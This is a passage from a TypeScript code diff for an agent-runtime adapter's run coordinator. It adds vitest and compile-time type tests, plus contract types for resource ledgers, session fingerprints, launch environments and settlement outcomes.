startTurn: () => completedTurn(),
setConfigOption: async () => {},
close: async () => {
closeCount += 1;
},
} as never;
},
});
// No persistent mode, so the completed turn closes the runtime instead of
// warm-saving it.
const config = { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir };
const first = await execute({
runId: "warm-none-1",
agent: { id: "agent-1", companyId: "company-1" },
runtime: {},
config,
context: {},
onLog: async () => {},
onMeta: async () => {},
onEvent: async () => {},
} as never);
expect(first.exitCode).toBe(0);
expect(warmHandles.size).toBe(0);
expect(closeCount).toBe(1);
const second = await execute({
runId: "warm-none-2",
agent: { id: "agent-1", companyId: "company-1" },
runtime: { sessionParams: first.sessionParams },
config,
context: {},
onLog: async () => {},
onMeta: async () => {},
onEvent: async () => {},
} as never);
expect(second.exitCode).toBe(0);
// No warm handle survived, so the second run constructs a fresh runtime.
expect(createCount).toBe(2);
});
it("runs a fresh acp.handshake on the second run and re-creates the runtime (no warm reuse)", async () => {
const root = await makeTempRoot();
const stateDir = path.join(root, "state");
let createCount = 0;
const warmHandles = new Map();
const secondEvents: Array<{ eventType: string; payload?: Record<string, unknown> }> = [];
const execute = createAcpxEngineExecutor({
warmHandles,
createRuntime: () => {
createCount += 1;
return buildRuntime() as never;
},
});
const config = {
agent: "custom",
agentCommand: "node ./fake-acp.js",
stateDir,
mode: "persistent",
warmHandleIdleMs: 60_000,
};
const first = await execute({
runId: "warm-hit-1",
agent: { id: "agent-1", companyId: "company-1" },
runtime: {},
config,
context: {},
onLog: async () => {},
onMeta: async () => {},
onEvent: async () => {},
} as never);
await execute({
runId: "warm-hit-2",
agent: { id: "agent-1", companyId: "company-1" },
runtime: { sessionParams: (first as { sessionParams?: unknown }).sessionParams },
config,
context: {},
onLog: async () => {},
onMeta: async () => {},
onEvent: async (event: { eventType: string; payload?: Record<string, unknown> }) => {
secondEvents.push(event);
},
} as never);
// Amendment B: the first run closed and relaunched, so no warm handle survives.
// The second run runs a fresh acp.handshake (outcome ok, not skipped) and
// re-creates the runtime.
const handshakeEvents = secondEvents.filter(
(event) => event.eventType === "run.startup.step" && event.payload?.step === "acp.handshake",
);
expect(handshakeEvents).toHaveLength(1);
expect(handshakeEvents[0]!.payload?.outcome).not.toBe("skipped");
expect(createCount).toBe(2);
});
});
@@ -9,6 +9,7 @@ export const ACPX_ADAPTER_AGENT_IDS = {
claude_local: "claude",
codex_local: "codex",
gemini_local: "gemini",
kimi_local: "kimi",
custom_acp: "custom",
} as const;
@@ -0,0 +1,95 @@
// Identity split and launch-environment finalization tests (Phase 17).
//
// Two tests are compile-time: the real assertion is that this file typechecks.
// A `@ts-expect-error` marks an assignment that MUST fail; if it starts to
// compile, tsc reports the unused directive and the typecheck fails. Each
// compile-time assertion lives in a declared, unexecuted function, so vitest
// never runs a synthetic value.
import { describe, expect, it } from "vitest";
import { buildSessionFingerprint, finalizeLaunchEnvironment } from "./execute.js";
import type {
LaunchEnvironment,
RunScopedContribution,
RunSiteReuseCandidate,
SessionFingerprintIdentity,
} from "./run-contracts.js";
// A complete fingerprint identity with representative values for the 17 fields.
const SAMPLE_FINGERPRINT_IDENTITY: SessionFingerprintIdentity = {
acpxAgent: "claude",
agentCommand: "claude",
cwd: "/work",
mode: "persistent",
permissionMode: "approve-all",
nonInteractivePermissions: "deny",
requestedModel: "",
requestedThinkingEffort: "",
fastMode: false,
remoteExecutionIdentity: null,
additionalSourcesIdentity: {},
skillsIdentity: {},
skillPromptInstructions: "",
paperclipClaudeSettings: null,
mcpServers: [],
secretManifestHash: "0000",
adapterEnvHash: "0000",
};
describe("acpx identity split and launch environment", () => {
it("test_fingerprint_builder_accepts_only_session_fingerprint_identity", () => {
// The builder accepts a fingerprint identity and returns a stable hash.
const first = buildSessionFingerprint(SAMPLE_FINGERPRINT_IDENTITY);
const second = buildSessionFingerprint(SAMPLE_FINGERPRINT_IDENTITY);
expect(first).toBe(second);
expect(first).toMatch(/^[0-9a-f]{16}$/);
// The compile-time assertions live in an unexecuted function.
function _assertOnlyIdentity(): void {
// An outer-key field is not a fingerprint field, so the builder rejects it.
// @ts-expect-error companyId is not a SessionFingerprintIdentity field.
buildSessionFingerprint({ ...SAMPLE_FINGERPRINT_IDENTITY, companyId: "c" });
// @ts-expect-error taskKey is not a SessionFingerprintIdentity field.
buildSessionFingerprint({ ...SAMPLE_FINGERPRINT_IDENTITY, taskKey: "t" });
}
void _assertOnlyIdentity;
});
it("test_finalize_launch_environment_is_sole_constructor_of_branded_environment", () => {
// The finalizer merges every contribution and freezes the launch env.
const baseEnv: Record<string, string> = { LAUNCH_ENV_TEST_BASE: "base" };
const launchEnvironment = finalizeLaunchEnvironment(baseEnv, [
{ scope: "session", env: { LAUNCH_ENV_TEST_CONTRIB: "contrib" } },
]);
expect(launchEnvironment.env.LAUNCH_ENV_TEST_BASE).toBe("base");
expect(launchEnvironment.env.LAUNCH_ENV_TEST_CONTRIB).toBe("contrib");
expect(Object.isFrozen(launchEnvironment.env)).toBe(true);
// No plain object literal can stand in for the branded environment; it lacks
// the private brand that only `finalizeLaunchEnvironment` sets.
function _assertBrand(): void {
// @ts-expect-error missing the private launch-environment brand.
const _fake: LaunchEnvironment = { env: {} };
void _fake;
}
void _assertBrand;
});
it("test_run_scoped_contribution_is_not_assignable_to_a_reuse_payload", () => {
// A run-scoped contribution and the branded launch environment must never
// enter a reuse payload (Amendment B). The reuse candidate types reject both.
function _assertNotReusable(
contribution: RunScopedContribution,
launchEnvironment: LaunchEnvironment,
): void {
// @ts-expect-error a run-scoped contribution is not a reuse candidate.
const _a: RunSiteReuseCandidate = contribution;
// @ts-expect-error the branded launch environment is not a reuse candidate.
const _b: RunSiteReuseCandidate = launchEnvironment;
void _a;
void _b;
}
void _assertNotReusable;
expect(true).toBe(true);
});
});
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,85 @@
// Compile-time type tests for the run contracts.
//
// The real assertion in each test is that this file compiles. A `@ts-expect-error`
// marks an assignment that MUST fail to typecheck; if it starts to compile, tsc
// reports the unused directive and the typecheck fails. The runtime body only
// keeps vitest happy, so each test names the property it proves.
import { describe, expect, it } from "vitest";
import type {
AcquiredRunResources,
ConsumedRunResources,
PreTurnFailedCause,
ReadyRunResources,
SessionFingerprintIdentity,
TurnCause,
} from "./run-contracts.js";
// A type-level equality check. `Equal<A, B>` is true only when A and B are the
// same type.
type Equal<A, B> =
(<T>() => T extends A ? 1 : 2) extends <T>() => T extends B ? 1 : 2 ? true : false;
type Expect<T extends true> = T;
describe("run contracts", () => {
it("test_a_turn_cause_is_not_assignable_where_pre_turn_failed_cause_is_required", () => {
function requiresPreTurn(_cause: PreTurnFailedCause): void {}
const turnCause: TurnCause = { kind: "turn_failed", error: new Error("boom") };
// A turn cause has a different `kind` and no `phase`, so it is not
// assignable where a `PreTurnFailedCause` is required.
// @ts-expect-error a TurnCause is not a PreTurnFailedCause.
requiresPreTurn(turnCause);
expect(turnCause.kind).toBe("turn_failed");
});
it("test_only_seal_produces_ready_run_resources_and_only_take_for_settlement_produces_consumed_run_resources", () => {
// The assertions live in an unexecuted function so tsc checks the types
// without a runtime call on a synthetic ledger.
function _assertBrands(ledger: AcquiredRunResources): void {
// `seal()` is the only source of a `ReadyRunResources`;
// `takeForSettlement()` is the only source of a `ConsumedRunResources`.
const ready: ReadyRunResources = ledger.seal([]);
const consumed: ConsumedRunResources = ledger.takeForSettlement();
// The two brands are distinct: neither result is assignable to the other.
// @ts-expect-error a ReadyRunResources is not a ConsumedRunResources.
const _crossA: ConsumedRunResources = ready;
// @ts-expect-error a ConsumedRunResources is not a ReadyRunResources.
const _crossB: ReadyRunResources = consumed;
// A plain object cannot stand in for a branded result; it lacks the
// private brand that only `seal()` / `takeForSettlement()` can set.
// @ts-expect-error missing the private ready brand.
const _fakeReady: ReadyRunResources = {
get: () => undefined,
scopeOf: () => undefined,
has: () => false,
sealed: [],
};
// @ts-expect-error missing the private consumed brand.
const _fakeConsumed: ConsumedRunResources = { entries: () => [] };
void ready;
void consumed;
void _crossA;
void _crossB;
void _fakeReady;
void _fakeConsumed;
}
void _assertBrands;
expect(true).toBe(true);
});
it("test_session_fingerprint_identity_has_no_company_agent_or_task_member", () => {
// None of the outer-key parts appear as a fingerprint field.
type ForbiddenKey = "companyId" | "agentId" | "taskKey";
type LeakedKey = Extract<keyof SessionFingerprintIdentity, ForbiddenKey>;
type _noLeak = Expect<Equal<LeakedKey, never>>;
const _ok: _noLeak = true;
expect(_ok).toBe(true);
});
});
@@ -0,0 +1,511 @@
// Contract types for the ACPX run coordinator refactor.
//
// This module declares the types only. No production code consumes them yet.
// Each placeholder type maps to a field that `AcpxPreparedRuntime` carries in
// `execute.ts` today. The later coordinator phases move the ownership of those
// fields onto these contracts one seam at a time.
//
// Two brands (`ReadyRunResources`, `ConsumedRunResources`) mark a resource set
// that only the resource ledger can produce. Two more brands mark a run-scoped
// launch contribution and the finalized launch environment. A brand is a private
// `unique symbol`, so no other module can build a branded value by a plain
// object literal. Only the module that owns the symbol returns the value.
import type { AcpRuntime, AcpRuntimeHandle } from "acpx/runtime";
import type {
AdapterExecutionTarget,
AdapterExecutionTargetPaperclipBridgeHandle,
AdapterExecutionTargetProcessSessionBridgeHandle,
PreparedAdapterExecutionTargetRuntime,
} from "@paperclipai/adapter-utils/execution-target";
// ---------------------------------------------------------------------------
// Resource identity
// ---------------------------------------------------------------------------
/**
* The closed set of run resources the ledger can hold. The set is fixed; a new
* resource needs a new member here and a payload in `RunResourcePayloads`.
*
* `acp_runtime` is a composite of the runtime, the session handle, and the
* child process. `runtime.close()` is the one release boundary for all three.
*
* These are NOT resources and never enter the ledger: `sessionKey`, the
* environment lease, the realized execution target, the cleanup registrations,
* the reuse-store entries, the three OTel spans, the turn timer, the child
* stderr flush state, and the idle timers.
*/
export type ResourceId =
| "acp_runtime"
| "staged_runtime"
| "control_bridge"
| "agent_bridge"
| "managed_home"
| "staging_lease";
/**
* The outcome the ledger records for a resource when it leaves the ledger.
* `finalized` means the run released the resource here. `transferred` means the
* run handed ownership to settlement.
*/
export type ResourceDisposition = "finalized" | "transferred";
/**
* The lifetime a cleanup belongs to.
*
* A `startup_rollback` cleanup runs only when startup fails, to undo a partial
* bring-up. A `per_run` cleanup runs at settlement, at the end of the run. A
* successful `seal()` promotes each promotable `startup_rollback` entry to
* `per_run`, because the resource now lives through the whole run.
*/
export type CleanupScope = "startup_rollback" | "per_run";
// ---------------------------------------------------------------------------
// Resource payloads
// ---------------------------------------------------------------------------
/**
* The `acp_runtime` composite. `runtime.close()` releases the runtime, the
* session handle, and the child process together. Maps to the runtime, the
* session handle, and the spawned child that `execute.ts` builds in
* `buildRuntime`.
*/
export interface AcpRuntimeResource {
readonly runtime: AcpRuntime;
readonly sessionHandle: AcpRuntimeHandle;
/** The pid of the spawned agent child, or null before the first spawn. */
readonly childProcessPid: number | null;
}
/**
* The staged in-sandbox runtime and its one-time host-side cleanup. Maps to
* `AcpxPreparedRuntime.stagedRuntime` and `remoteStagingDispose`.
*/
export interface StagedRuntimeResource {
readonly stagedRuntime: PreparedAdapterExecutionTargetRuntime;
/** Remove the host-side staged temp. Fired only when the stage is dropped. */
readonly disposeStaged: () => Promise<void>;
}
/**
* The per-adapter managed-home seam. Maps to
* `AcpxPreparedRuntime.remoteManagedHomeTeardown` and `remoteStagingEnvDelta`.
*/
export interface ManagedHomeResource {
/** Per-run copy-back hook. Runs the auth copy-back on every exit path. */
readonly teardown: () => Promise<void>;
/** The env keys the seam mutated on this run. */
readonly envDelta: Record<string, string>;
}
/**
* The per-session staging lease. Maps to
* `AcpxPreparedRuntime.sessionStagingLeaseRelease`.
*/
export interface StagingLeaseResource {
/** Release the staging lease so a later overlapping run can re-stage. */
readonly release: () => void;
}
/**
* Maps each resource id to its payload. The `control_bridge` is the Paperclip
* control-plane bridge; the `agent_bridge` is the agent process-session bridge.
*/
export interface RunResourcePayloads {
readonly acp_runtime: AcpRuntimeResource;
readonly staged_runtime: StagedRuntimeResource;
readonly control_bridge: AdapterExecutionTargetPaperclipBridgeHandle;
readonly agent_bridge: AdapterExecutionTargetProcessSessionBridgeHandle;
readonly managed_home: ManagedHomeResource;
readonly staging_lease: StagingLeaseResource;
}
/** One resource the caller registers into the ledger. */
export interface RunResourceRegistration<Id extends ResourceId = ResourceId> {
readonly id: Id;
readonly payload: RunResourcePayloads[Id];
readonly scope: CleanupScope;
/**
* Marks a `startup_rollback` entry that `seal()` promotes to `per_run`.
* Default true. Set false to pin the entry as rollback-only. Ignored for a
* `per_run` entry.
*/
readonly promotable?: boolean;
/**
* The ledger calls this once when it finalizes or transfers the resource. It
* records the disposition. It runs no release itself.
*/
readonly onDisposition?: (disposition: ResourceDisposition) => void;
}
/** One resource the settlement claim carries out of the ledger. */
export interface SettledResourceEntry<Id extends ResourceId = ResourceId> {
readonly id: Id;
readonly payload: RunResourcePayloads[Id];
readonly scope: CleanupScope;
readonly disposition: ResourceDisposition;
}
// ---------------------------------------------------------------------------
// Ledger surface and its two branded results
// ---------------------------------------------------------------------------
declare const READY_RUN_RESOURCES: unique symbol;
declare const CONSUMED_RUN_RESOURCES: unique symbol;
/**
* The sealed, validated resource set. Only `AcquiredRunResources.seal()`
* produces this brand. The turn reads its resources through this handle.
*/
export interface ReadyRunResources {
readonly [READY_RUN_RESOURCES]: true;
/** The payload for a resource id, or undefined when the slot is empty. */
get<Id extends ResourceId>(id: Id): RunResourcePayloads[Id] | undefined;
/** The scope of a resource id after promotion, or undefined when empty. */
scopeOf(id: ResourceId): CleanupScope | undefined;
/** True when the slot holds a resource. */
has(id: ResourceId): boolean;
/** The required ids that `seal()` validated. */
readonly sealed: readonly ResourceId[];
}
/**
* The one-time settlement claim. Only `AcquiredRunResources.takeForSettlement()`
* produces this brand. Settlement releases the resources this claim carries.
*/
export interface ConsumedRunResources {
readonly [CONSUMED_RUN_RESOURCES]: true;
/** The resources, each with its final scope and disposition. */
entries(): readonly SettledResourceEntry[];
}
/**
* The write surface the startup path holds while it acquires resources.
* `register` is the only writer. `seal` and `takeForSettlement` end the write
* phase. The state machine is `open -> sealed -> consumed` or `open ->
* consumed`.
*/
export interface AcquiredRunResources {
register<Id extends ResourceId>(registration: RunResourceRegistration<Id>): void;
seal(required: readonly ResourceId[]): ReadyRunResources;
takeForSettlement(): ConsumedRunResources;
}
/** The error the ledger throws on an out-of-order or duplicate operation. */
export class LedgerStateError extends Error {
constructor(message: string) {
super(message);
this.name = "LedgerStateError";
}
}
// ---------------------------------------------------------------------------
// Startup, turn, and settlement outcomes
// ---------------------------------------------------------------------------
/**
* The four phases a pre-turn failure can occur in. A pre-turn failure happens
* after the ledger acquires resources but before the turn runs.
*/
export interface PreTurnFailedCause {
readonly kind: "pre_turn_failed";
readonly phase:
| "runtime_create"
| "handshake"
| "session_handle_missing"
| "session_configuration";
readonly error: Error;
}
/** The turn ran and failed with an error. */
export interface TurnFailedCause {
readonly kind: "turn_failed";
readonly error: Error;
}
/** The caller cancelled the turn. */
export interface TurnCancelledCause {
readonly kind: "turn_cancelled";
readonly reason: string;
}
/** The turn hit its wall-clock timeout. */
export interface TurnTimedOutCause {
readonly kind: "turn_timed_out";
readonly timeoutSec: number;
}
/** A cause that the turn itself produced. Disjoint from `PreTurnFailedCause`. */
export type TurnCause = TurnFailedCause | TurnCancelledCause | TurnTimedOutCause;
/** Any cause that leads a run into settlement. */
export type SettlementCause = PreTurnFailedCause | TurnCause;
/**
* Startup produced a ready runtime. The turn can run against these resources.
*/
export interface StartupReady {
readonly kind: "ready";
readonly resources: ReadyRunResources;
readonly context: AcpRunContext;
}
/**
* Startup failed after it acquired resources, so the run must settle them. A
* build failure and a partial-bridge failure do NOT reach here — they throw,
* and the coordinator owns that rollback (Phase 20).
*/
export interface StartupSettle {
readonly kind: "settle";
readonly cause: PreTurnFailedCause;
readonly resources: ConsumedRunResources;
}
export type StartupResult = StartupReady | StartupSettle;
/**
* The turn finished and released everything in place. It carries no resources,
* so settlement has nothing to do.
*/
export interface FinalizedTurn {
readonly kind: "finalized";
}
/** The turn failed. Settlement releases the carried resources. */
export interface FailedTurn {
readonly kind: "failed";
readonly cause: TurnFailedCause;
readonly resources: ConsumedRunResources;
}
/** The caller cancelled the turn. Settlement releases the carried resources. */
export interface CancelledTurn {
readonly kind: "cancelled";
readonly cause: TurnCancelledCause;
readonly resources: ConsumedRunResources;
}
/** The turn timed out. Settlement releases the carried resources. */
export interface TimedOutTurn {
readonly kind: "timed_out";
readonly cause: TurnTimedOutCause;
readonly resources: ConsumedRunResources;
}
/** The four ways a turn completes. Only `FinalizedTurn` is resourceless. */
export type TurnCompletion = FinalizedTurn | FailedTurn | CancelledTurn | TimedOutTurn;
// ---------------------------------------------------------------------------
// Run site
// ---------------------------------------------------------------------------
/** The host site runs on the host. The sandbox site runs in a remote runner. */
export type RunSiteKind = "host" | "sandbox";
/**
* The synchronous plan a site produces before the fingerprint build. `plan()`
* must be synchronous, because `sessionCwd` is a fingerprint input.
*/
export interface SitePlan {
/**
* The cwd the session binds to and the fingerprint reads. `placeWorkspace` is
* not its source; the site derives it before it places the workspace.
*/
readonly sessionCwd: string;
/**
* The host-only spawn cwd for the relay proxy on the remote process-session
* lane. Undefined on every other lane. Maps to `AcpxPreparedRuntime.
* hostSpawnCwd`.
*/
readonly spawnCwd: string | undefined;
/** True only for a sandbox target, where the run emits real OTel spans. */
readonly tracingEnabled: boolean;
}
/** One referenced project whose staging into the sandbox failed. */
export interface ReferencedProjectStagingFailure {
readonly projectId: string;
/** The failure reason. A reader of the run sees why the project dropped. */
readonly error: string;
}
/**
* The result of placing the workspace. Carries the referenced-project staging
* failures the run reports back on its result.
*/
export interface PlacedWorkspace {
readonly referencedProjectStagingFailures: readonly ReferencedProjectStagingFailure[];
}
/** The transport handles the site started for the run. */
export interface RunSiteTransport {
readonly controlBridge: AdapterExecutionTargetPaperclipBridgeHandle | null;
readonly agentBridge: AdapterExecutionTargetProcessSessionBridgeHandle | null;
}
/** What the host site's store can save: the live runtime and session handle. */
export interface HostReuseCandidate {
readonly runtime: AcpRuntime;
readonly sessionHandle: AcpRuntimeHandle;
}
/** What the sandbox site's store can save: the staged files. */
export interface SandboxReuseCandidate {
readonly stagedRuntime: PreparedAdapterExecutionTargetRuntime;
}
export type RunSiteReuseCandidate = HostReuseCandidate | SandboxReuseCandidate;
/** Construction options for a `SessionReuseStore`. */
export interface SessionReuseStoreOptions {
/**
* The optional per-entry idle timeout, in milliseconds. When set, `evictIdle`
* drops an entry that stayed idle longer than this bound.
*/
readonly idleMs?: number;
}
/**
* The per-site store that saves a reuse candidate across runs. The store is
* generic in the saved type, so a generic `save` cannot know what a site saves.
* `RunSite.reuseCandidate()` names the concrete type per site.
*/
export interface SessionReuseStore<T> {
borrow(sessionKey: string): T | undefined;
save(sessionKey: string, entry: T): void;
/**
* Identity-guarded removal that fires the idempotent release. It removes the
* key synchronously, so a later reuse never reads a discarded entry. It
* returns a promise the caller can await when the release must finish before
* the run releases a downstream resource (e.g. the staging lease).
*/
discard(sessionKey: string): void | Promise<void>;
/**
* Run-start idle sweep. It removes each stale key synchronously, so
* `buildRuntime` never reuses an expired entry. It returns a promise the
* caller can await so the sweep completes before the run reads the cache.
*/
evictIdle(now: number): void | Promise<void>;
}
/**
* A run site. The host site and the sandbox site differ in what they place,
* what transport they start, and what their store saves.
*/
export interface RunSite<TReuse extends RunSiteReuseCandidate = RunSiteReuseCandidate> {
readonly kind: RunSiteKind;
/** Synchronous. Runs before the fingerprint build. */
plan(context: AcpRunContext): SitePlan;
placeWorkspace(context: AcpRunContext): Promise<PlacedWorkspace>;
startTransport(context: AcpRunContext): Promise<RunSiteTransport>;
reuse(): SessionReuseStore<TReuse>;
/** Names the concrete candidate this site's store can save. */
reuseCandidate(resources: ReadyRunResources): TReuse;
syncBack(context: AcpRunContext): Promise<void>;
}
// ---------------------------------------------------------------------------
// Identity, launch environment, and run context
// ---------------------------------------------------------------------------
export type AcpxRunMode = "persistent" | "oneshot";
export type AcpxPermissionMode = "approve-all" | "approve-reads" | "deny-all";
export type AcpxNonInteractivePermissions = "deny" | "fail";
/** One MCP server, in the shape the fingerprint reads. */
export interface McpServerIdentity {
readonly name: string;
readonly url: string;
readonly connectionId: string;
}
/** The Paperclip Claude settings the fingerprint reads. */
export interface PaperclipClaudeSettingsIdentity {
readonly allow: readonly string[];
readonly additionalDirectories: readonly string[];
readonly defaultMode: string;
}
/**
* The 17 fields the session fingerprint hashes. Company, agent, and task
* identifiers are NOT here; they scope the outer session key only (see
* `SessionKeyIdentity`). A change to any field here invalidates a warm handle
* or a resumable session and forces a fresh launch.
*/
export interface SessionFingerprintIdentity {
readonly acpxAgent: string;
readonly agentCommand: string;
readonly cwd: string;
readonly mode: AcpxRunMode;
readonly permissionMode: AcpxPermissionMode;
readonly nonInteractivePermissions: AcpxNonInteractivePermissions;
readonly requestedModel: string;
readonly requestedThinkingEffort: string;
readonly fastMode: boolean;
readonly remoteExecutionIdentity: Record<string, unknown> | null;
readonly additionalSourcesIdentity: Record<string, unknown>;
readonly skillsIdentity: Record<string, unknown>;
readonly skillPromptInstructions: string;
readonly paperclipClaudeSettings: PaperclipClaudeSettingsIdentity | null;
readonly mcpServers: readonly McpServerIdentity[];
readonly secretManifestHash: string;
readonly adapterEnvHash: string;
}
/**
* The company, agent, and task parts of the session key. The key form is
* `paperclip:companyId:agentId:taskKey:fingerprint`. These parts stay out of
* the fingerprint hash.
*/
export interface SessionKeyIdentity {
readonly companyId: string;
readonly agentId: string;
readonly taskKey: string;
}
declare const RUN_SCOPED_CONTRIBUTION: unique symbol;
declare const LAUNCH_ENVIRONMENT: unique symbol;
/**
* A launch-environment contribution that lives for one run only. The run API
* key and every bridge token are run-scoped. The brand makes this type
* non-transferable: no reuse payload type can hold it (Amendment B).
*/
export interface RunScopedContribution {
readonly scope: "run";
readonly env: Record<string, string>;
readonly [RUN_SCOPED_CONTRIBUTION]: true;
}
/**
* A launch-environment contribution that lives for the whole session. The Codex
* auth copy-back material is session-scoped.
*/
export interface SessionScopedContribution {
readonly scope: "session";
readonly env: Record<string, string>;
}
export type LaunchEnvironmentContribution = RunScopedContribution | SessionScopedContribution;
/**
* The finalized launch environment. Only `finalizeLaunchEnvironment()`
* (Phase 17) produces this brand. No reuse payload type can hold it.
*/
export interface LaunchEnvironment {
readonly [LAUNCH_ENVIRONMENT]: true;
readonly env: Readonly<Record<string, string>>;
}
/**
* The context the coordinator threads through the run. The site reads the
* execution target for its effective capabilities.
*/
export interface AcpRunContext {
readonly executionTarget: AdapterExecutionTarget;
readonly fingerprintIdentity: SessionFingerprintIdentity;
readonly keyIdentity: SessionKeyIdentity;
readonly fingerprint: string;
readonly sessionKey: string;
readonly launchEnvironment: LaunchEnvironment;
}
@@ -0,0 +1,184 @@
import { describe, expect, it } from "vitest";
import { runAttempt, type RunPlan, type SettlementReason } from "./run-coordinator.js";
import { createRunResourceLedger } from "./run-resource-ledger.js";
import type {
AcquiredRunResources,
PreTurnFailedCause,
ReadyRunResources,
StartupReady,
StartupResult,
TurnCompletion,
} from "./run-contracts.js";
// The coordinator owns the run routing table. These tests drive it with fakes
// for the four steps (startup, turn, settle, reproduce) and assert the order and
// the routing, never the engine's real run state.
const readyResources = {} as ReadyRunResources;
function readyStartup(): StartupReady {
return { kind: "ready", resources: readyResources, context: {} as StartupReady["context"] };
}
function preTurnCause(): PreTurnFailedCause {
return { kind: "pre_turn_failed", phase: "handshake", error: new Error("handshake boom") };
}
function finalizedTurn(): TurnCompletion {
return { kind: "finalized" };
}
// A minimal plan whose steps push their names into `order`, so a test reads the
// exact sequence the coordinator ran.
function makePlan(
order: string[],
overrides: Partial<RunPlan<string>> & { ledger?: AcquiredRunResources } = {},
): RunPlan<string> {
const ledger = overrides.ledger ?? createRunResourceLedger();
return {
ledger,
startup: overrides.startup ?? (async (): Promise<StartupResult> => {
order.push("startup");
return readyStartup();
}),
rollbackStartup: overrides.rollbackStartup ?? ((consumed) => {
order.push(`rollback:${consumed.entries().length}`);
}),
recordDisposition: overrides.recordDisposition ?? ((report) => {
order.push(`disposition:${report.records.map((r) => `${r.id}=${r.disposition}`).join(",")}`);
}),
runTurn: overrides.runTurn ?? (async (): Promise<TurnCompletion> => {
order.push("turn");
return finalizedTurn();
}),
settle: overrides.settle ?? (async (reason: SettlementReason) => {
order.push(`settle:${reason.kind}`);
}),
reproduceResult: overrides.reproduceResult ?? (async (outcome) => {
order.push(`reproduce:${outcome.kind}`);
return "result";
}),
};
}
describe("ACPX run coordinator", () => {
it("test_startup_throw_replays_startup_rollback_entries_and_rethrows", async () => {
const order: string[] = [];
// Fill a partial ledger with two startup_rollback entries that record their
// release order when the rollback replays them.
const ledger = createRunResourceLedger();
const released: string[] = [];
ledger.register({
id: "staged_runtime",
payload: {
stagedRuntime: {} as never,
disposeStaged: async () => {
released.push("staged_runtime");
},
},
scope: "startup_rollback",
});
ledger.register({
id: "control_bridge",
payload: { stop: async () => { released.push("control_bridge"); } } as never,
scope: "startup_rollback",
});
const boom = new Error("build boom");
const plan = makePlan(order, {
ledger,
startup: async (): Promise<StartupResult> => {
order.push("startup");
throw boom;
},
// Replay every claimed entry through its own release, newest first.
rollbackStartup: async (consumed) => {
for (const entry of [...consumed.entries()].reverse()) {
if (entry.id === "staged_runtime") {
await (entry.payload as { disposeStaged: () => Promise<void> }).disposeStaged();
} else if (entry.id === "control_bridge") {
await (entry.payload as { stop: () => Promise<void> }).stop();
}
}
order.push("rollback");
},
});
// The coordinator rethrows the original startup error.
await expect(runAttempt(plan)).rejects.toBe(boom);
// It replayed the startup_rollback entries through the partial ledger...
expect(released).toEqual(["control_bridge", "staged_runtime"]);
// ...recorded a disposition report that marks each claimed entry finalized...
expect(order).toEqual([
"startup",
"rollback",
"disposition:staged_runtime=finalized,control_bridge=finalized",
]);
// ...and never ran the turn or the settlement.
expect(order).not.toContain("turn");
expect(order.some((step) => step.startsWith("settle"))).toBe(false);
});
it("test_settle_path_returns_error_result_after_settlement", async () => {
const order: string[] = [];
const cause = preTurnCause();
const plan = makePlan(order, {
startup: async (): Promise<StartupResult> => {
order.push("startup");
return { kind: "settle", cause, resources: createRunResourceLedger().takeForSettlement() };
},
settle: async (reason) => {
expect(reason.kind).toBe("pre_turn");
order.push("settle");
},
reproduceResult: async (outcome) => {
expect(outcome.kind).toBe("pre_turn");
order.push("reproduce");
return "error-result";
},
});
const result = await runAttempt(plan);
expect(result).toBe("error-result");
// The settle path never runs the turn; it settles first, then reproduces.
expect(order).toEqual(["startup", "settle", "reproduce"]);
});
it("test_ready_path_runs_turn_then_settles_then_reproduces_result", async () => {
const order: string[] = [];
const plan = makePlan(order);
const result = await runAttempt(plan);
expect(result).toBe("result");
// The ready path runs the turn, settles, then reproduces — in that order.
expect(order).toEqual(["startup", "turn", "settle:turn", "reproduce:turn"]);
});
it("test_coordinator_has_no_catch_around_the_turn", async () => {
// `runTurn` is contracted never to reject. This test proves the coordinator
// holds no catch around the turn: an (illegal) turn rejection propagates out
// of `runAttempt` unchanged, and neither settlement nor result reproduction
// runs. A catch around the turn would swallow the rejection and route it into
// settlement, so this rejection-propagation is the structural proof.
const order: string[] = [];
const boom = new Error("turn must never reject");
const settleCalls: number[] = [];
const reproduceCalls: number[] = [];
const plan = makePlan(order, {
runTurn: async (): Promise<TurnCompletion> => {
throw boom;
},
settle: async () => {
settleCalls.push(1);
},
reproduceResult: async () => {
reproduceCalls.push(1);
return "unreachable";
},
});
await expect(runAttempt(plan)).rejects.toBe(boom);
expect(settleCalls).toHaveLength(0);
expect(reproduceCalls).toHaveLength(0);
});
});
@@ -0,0 +1,125 @@
// The run coordinator.
//
// One `run()` coordinator owns the attempt. It sequences four steps: startup,
// turn, settlement, and result reproduction. It holds the routing table as
// data:
//
// * A build failure or a partial-bridge failure throws from startup. The
// coordinator's one catch replays the `startup_rollback` entries through the
// partial ledger, records the disposition report, and rethrows.
// * A runtime-create, handshake, missing-handle, or configuration failure
// produces a `settle` result. The coordinator settles the resources, then
// reproduces the error result.
// * Every other startup outcome produces a `ready` result. The coordinator
// runs the turn, settles the resources, then reproduces the turn result.
//
// The coordinator has no catch around the turn: the turn never rejects and
// returns a typed `TurnCompletion` (Phase 21). The external result is reproduced
// AFTER settlement, so a caller never observes a result before the run releases
// its resources.
import type {
AcquiredRunResources,
ConsumedRunResources,
PreTurnFailedCause,
ResourceDisposition,
ResourceId,
StartupReady,
StartupResult,
TurnCompletion,
} from "./run-contracts.js";
/** One resource's final disposition, as the coordinator or settlement records it. */
export interface ResourceDispositionRecord {
readonly id: ResourceId;
readonly disposition: ResourceDisposition;
}
/** The per-resource disposition report the coordinator records at each end. */
export interface SettlementDispositionReport {
readonly records: readonly ResourceDispositionRecord[];
}
/** The cause the coordinator hands to settlement. A clean turn carries no cause. */
export type SettlementReason =
| { readonly kind: "pre_turn"; readonly cause: PreTurnFailedCause }
| { readonly kind: "turn"; readonly completion: TurnCompletion };
/** The outcome the coordinator hands to result reproduction. */
export type ReproducibleOutcome = SettlementReason;
/**
* The four steps the coordinator sequences, plus the run ledger. The engine
* supplies each step; the coordinator owns only the order and the startup
* rollback. This keeps the coordinator free of the engine's private run state.
*/
export interface RunPlan<TResult> {
/** The one run ledger for the attempt. The coordinator creates it (see `runAttempt`). */
readonly ledger: AcquiredRunResources;
/**
* Run the startup sequence. It returns a `ready` or a `settle` result, or it
* throws on a build failure or a partial-bridge failure.
*/
startup(): Promise<StartupResult>;
/**
* Replay the `startup_rollback` entries the partial ledger carries. The
* coordinator calls it only on a startup throw, with the claimed entries.
*/
rollbackStartup(consumed: ConsumedRunResources): Promise<void> | void;
